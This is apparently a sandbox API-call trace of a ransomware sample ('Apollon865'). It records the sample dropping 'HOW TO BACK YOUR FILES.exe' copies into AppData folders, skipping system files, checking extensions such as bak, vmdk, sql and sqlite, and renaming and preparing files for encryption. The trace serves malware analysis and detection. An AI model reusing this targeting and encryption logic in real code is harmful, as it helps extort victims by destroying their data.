	[0045.660] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets"
	[0045.661] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.661] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows sidebar\\gadgets\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.667] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.667] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3348eb30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3348eb30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.667] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.667] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.667] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media"
	[0045.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8ce8 | out: hHeap=0x580000) returned 1
	[0045.667] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0045.667] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned 67
	[0045.667] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media"
	[0045.667] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.667] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.672] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.672] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x334b4c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334b4c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.672] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.672] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.672] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="12.0" | out: lpString1="12.0") returned="12.0"
	[0045.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0045.672] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994f0
	[0045.672] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0045.672] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x334b4c90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x334b4c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.673] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.673] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x334b4c90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x334b4c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0045.673] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.673] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcd0
	[0045.673] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0045.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f0 | out: hHeap=0x580000) returned 1
	[0045.673] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fcc8 | out: hHeap=0x580000) returned 1
	[0045.673] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned 72
	[0045.673] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0"
	[0045.673] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.673] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.677] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.677] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x334b4c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334b4c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.677] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.677] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.677] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="WMSDKNS.DTD" | out: lpString1="WMSDKNS.DTD") returned="WMSDKNS.DTD"
	[0045.677] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0045.677] lstrlenW (lpString="Apollon865") returned 10
	[0045.677] lstrcmpiW (lpString1="MSDKNS.DTD", lpString2="Apollon865") returned 1
	[0045.677] lstrlenW (lpString=".dll") returned 4
	[0045.677] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".dll") returned 1
	[0045.677] lstrlenW (lpString=".lnk") returned 4
	[0045.677] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".lnk") returned 1
	[0045.677] lstrlenW (lpString=".ini") returned 4
	[0045.677] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".ini") returned 1
	[0045.677] lstrlenW (lpString=".sys") returned 4
	[0045.677] lstrcmpiW (lpString1="WMSDKNS.DTD", lpString2=".sys") returned 1
	[0045.677] lstrlenW (lpString="WMSDKNS.DTD") returned 11
	[0045.677] lstrcpyW (in: lpString1=0x2d3e5e2, lpString2="WMSDKNS.XML" | out: lpString1="WMSDKNS.XML") returned="WMSDKNS.XML"
	[0045.677] lstrlenW (lpString="WMSDKNS.XML") returned 11
	[0045.677] lstrlenW (lpString="Apollon865") returned 10
	[0045.677] lstrcmpiW (lpString1="MSDKNS.XML", lpString2="Apollon865") returned 1
	[0045.677] lstrlenW (lpString=".dll") returned 4
	[0045.677] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".dll") returned 1
	[0045.678] lstrlenW (lpString=".lnk") returned 4
	[0045.678] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".lnk") returned 1
	[0045.678] lstrlenW (lpString=".ini") returned 4
	[0045.678] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".ini") returned 1
	[0045.678] lstrlenW (lpString=".sys") returned 4
	[0045.678] lstrcmpiW (lpString1="WMSDKNS.XML", lpString2=".sys") returned 1
	[0045.678] lstrlenW (lpString="WMSDKNS.XML") returned 11
	[0045.678] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865") returned 95
	[0045.678] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.apollon865"), dwFlags=0x1) returned 1
	[0045.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0045.679] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=10191) returned 1
	[0045.679] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3660020
	[0045.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0045.680] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0045.680] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf920) returned 1
	[0045.681] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0045.681] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0045.681] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ad0, lpName=0x0) returned 0x150
	[0045.683] MapViewOfFile (hFileMappingObject=0x150, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ad0) returned 0x100000
	[0045.685] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf920) returned 1
	[0045.685] CryptGenRandom (in: hProv=0x5bf920, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0045.685] CryptReleaseContext (hProv=0x5bf920, dwFlags=0x0) returned 1
	[0045.685] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0045.685] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0045.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0045.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0045.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0045.686] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5aa3c8
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0045.686] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0045.686] CloseHandle (hObject=0x150) returned 1
	[0045.686] CloseHandle (hObject=0x154) returned 1
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0045.686] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3660020 | out: hHeap=0x580000) returned 1
	[0045.687] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 0
	[0045.687] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.687] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fcb0
	[0045.687] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail"
	[0045.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8d78 | out: hHeap=0x580000) returned 1
	[0045.687] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fca8 | out: hHeap=0x580000) returned 1
	[0045.687] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned 66
	[0045.687] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail"
	[0045.687] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.687] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.692] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x334dadf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334dadf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.692] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.692] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.692] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.692] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x334dadf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x334dadf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.692] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.692] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.692] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.692] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.692] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28e7c400, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28e7c400, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1
	[0045.692] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.692] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="Apollon865.txt.exe") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".") returned 1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="..") returned 1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="windows") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="bootmgr") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="temp") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="pagefile.sys") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="boot") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ids.txt") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="ntuser.dat") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="perflogs") returned -1
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2="MSBuild") returned -1
	[0045.693] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0045.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\*") returned 68
	[0045.693] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" | out: lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount"
	[0045.693] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0045.693] lstrlenW (lpString="Apollon865") returned 10
	[0045.693] lstrcmpiW (lpString1=".oeaccount", lpString2="Apollon865") returned -1
	[0045.693] lstrlenW (lpString=".dll") returned 4
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".dll") returned 1
	[0045.693] lstrlenW (lpString=".lnk") returned 4
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".lnk") returned 1
	[0045.693] lstrlenW (lpString=".ini") returned 4
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".ini") returned 1
	[0045.693] lstrlenW (lpString=".sys") returned 4
	[0045.693] lstrcmpiW (lpString1="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpString2=".sys") returned 1
	[0045.694] lstrlenW (lpString="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 55
	[0045.694] lstrlenW (lpString="bak") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="bak") returned 1
	[0045.694] lstrlenW (lpString="ba_") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="ba_") returned 1
	[0045.694] lstrlenW (lpString="dbb") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="dbb") returned 1
	[0045.694] lstrlenW (lpString="vmdk") returned 4
	[0045.694] lstrcmpiW (lpString1="ount", lpString2="vmdk") returned -1
	[0045.694] lstrlenW (lpString="rar") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="rar") returned 1
	[0045.694] lstrlenW (lpString="zip") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="zip") returned -1
	[0045.694] lstrlenW (lpString="tgz") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="tgz") returned 1
	[0045.694] lstrlenW (lpString="vbox") returned 4
	[0045.694] lstrcmpiW (lpString1="ount", lpString2="vbox") returned -1
	[0045.694] lstrlenW (lpString="vdi") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="vdi") returned -1
	[0045.694] lstrlenW (lpString="vhd") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="vhd") returned -1
	[0045.694] lstrlenW (lpString="vhdx") returned 4
	[0045.694] lstrcmpiW (lpString1="ount", lpString2="vhdx") returned -1
	[0045.694] lstrlenW (lpString="avhd") returned 4
	[0045.694] lstrcmpiW (lpString1="ount", lpString2="avhd") returned 1
	[0045.694] lstrlenW (lpString="db") returned 2
	[0045.694] lstrcmpiW (lpString1="nt", lpString2="db") returned 1
	[0045.694] lstrlenW (lpString="db2") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="db2") returned 1
	[0045.694] lstrlenW (lpString="db3") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="db3") returned 1
	[0045.694] lstrlenW (lpString="dbf") returned 3
	[0045.694] lstrcmpiW (lpString1="unt", lpString2="dbf") returned 1
	[0045.694] lstrlenW (lpString="mdf") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="mdf") returned 1
	[0045.695] lstrlenW (lpString="mdb") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="mdb") returned 1
	[0045.695] lstrlenW (lpString="sql") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="sql") returned 1
	[0045.695] lstrlenW (lpString="sqlite") returned 6
	[0045.695] lstrcmpiW (lpString1="ccount", lpString2="sqlite") returned -1
	[0045.695] lstrlenW (lpString="sqlite3") returned 7
	[0045.695] lstrcmpiW (lpString1="account", lpString2="sqlite3") returned -1
	[0045.695] lstrlenW (lpString="sqlitedb") returned 8
	[0045.695] lstrcmpiW (lpString1="eaccount", lpString2="sqlitedb") returned -1
	[0045.695] lstrlenW (lpString="xml") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="xml") returned -1
	[0045.695] lstrlenW (lpString="$er") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="$er") returned 1
	[0045.695] lstrlenW (lpString="4dd") returned 3
	[0045.695] lstrcmpiW (lpString1="unt", lpString2="4dd") returned 1
